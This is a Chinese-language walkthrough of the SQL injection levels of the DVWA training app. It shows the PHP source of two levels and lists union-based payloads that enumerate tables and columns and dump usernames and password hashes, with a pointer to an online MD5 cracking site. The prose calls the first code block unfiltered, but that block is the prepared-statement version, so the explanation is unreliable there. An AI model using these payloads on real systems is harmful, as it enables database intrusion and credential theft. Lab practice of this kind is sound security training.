赞
踩
<?php if( isset( $_GET[ 'Submit' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input $id = $_GET[ 'id' ]; // Was a number entered? if(is_numeric( $id )) { $id = intval ($id); switch ($_DVWA['SQLI_DB']) { case MYSQL: // Check the database $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' ); $data->bindParam( ':id', $id, PDO::PARAM_INT ); $data->execute(); $row = $data->fetch(); // Make sure only 1 result is returned if( $data->rowCount() == 1 ) { // Get values $first = $row[ 'first_name' ]; $last = $row[ 'last_name' ]; // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } break; case SQLITE: global $sqlite_db_connection; $stmt = $sqlite_db_connection->prepare('SELECT first_name, last_name FROM users WHERE user_id = :id LIMIT 1;' ); $stmt->bindValue(':id',$id,SQLITE3_INTEGER); $result = $stmt->execute(); $result->finalize(); if ($result !== false) { // There is no way to get the number of rows returned // This checks the number of columns (not rows) just // as a precaution, but it won't stop someone dumping // multiple rows and viewing them one at a time. $num_columns = $result->numColumns(); if ($num_columns == 2) { $row = $result->fetchArray(); // Get values $first = $row[ 'first_name' ]; $last = $row[ 'last_name' ]; // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } } break; } } } // Generate Anti-CSRF token generateSessionToken(); ?> ## 分析源码,可以看到没有对参数做任何的过滤
由上可以看出是存在注入点的,并且是以单引号闭合的,我们猜测sql查询语句是这样的:
select First name的列名 and Surname的列名 from 表名 where id的列名 ='我们输入的id'
确定显示的位置(SQL语句查询之后的回显位置)
1' union select 1,2#
1’ 联合选择 1,2# #从下图可以看出有2个回显
1' union select version(),database()#
-1' union select 1, group_concat(table_name) from information_schema.tables where table_schema='dvwa'#
-1' union select 1,table_name from information_schema.tables where table_schema='dvwa'#
1.在MYSQL5.0以上版本中存在自带数据库information_schema,他是一个存储所有数据库名,表明,列名的数据库,相当于可以通过查询此库获得相应信息。(没有的话只能靠猜,暴力破解)
-1' union select 1, group_concat(table_name) from information_schema.tables where table_schema='dvwa'#
1' union select 1, group_concat(column_name) from information_schema.columns where table_name='users'#
1' union select user, password from users#
这里密码使用了MD5加密,可在 https://www.cmd5.com/ 进行解密
<?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input $id = $_POST[ 'id' ]; $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id); switch ($_DVWA['SQLI_DB']) { case MYSQL: $query = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' ); // Get results while( $row = mysqli_fetch_assoc( $result ) ) { // Display values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } break; case SQLITE: global $sqlite_db_connection; $query = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; #print $query; try { $results = $sqlite_db_connection->query($query); } catch (Exception $e) { echo 'Caught exception: ' . $e->getMessage(); exit(); } if ($results) { while ($row = $results->fetchArray()) { // Get values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } } else { echo "Error in fetch ".$sqlite_db->lastErrorMsg(); } break; } } // This is used later on in the index.php page // Setting it here so we can close the database connection in here like in the rest of the source scripts $query = "SELECT COUNT(*) FROM users;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); $number_of_rows = mysqli_fetch_row( $result )[0]; mysqli_close($GLOBALS["___mysqli_ston"]); ?> ## 分析源码可以看到对参数使用mysql_real_escape_string函数转义sql语句, 我们可以利用burp修改数据包,绕过防御。判断注入点,以及注入的类型
根据low关卡知道存在SQL注入,这里就不多演示,我们从爆数据库开始
union select version(),database()#
union select 1, group_concat(table_name) from information_schema.tables where table_schema=database()#
union select 1, group_concat(column_name) from information_schema.columns where table_name=0x7573657273#
union select user,password from users##
可以看出,点击“here to change your ID”,页面自动跳转,防御了自动化的SQL注入,分析源码可以看到,对参数没有做防御,在sql查询语句中限制啦查询条数,可以通过burpsuit抓包,修改数据包实现绕过。
方法跟前面的差不多,这里就不多演示了,直接爆账号密码
BurpSuite
phpstudy_pro
火狐浏览器
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。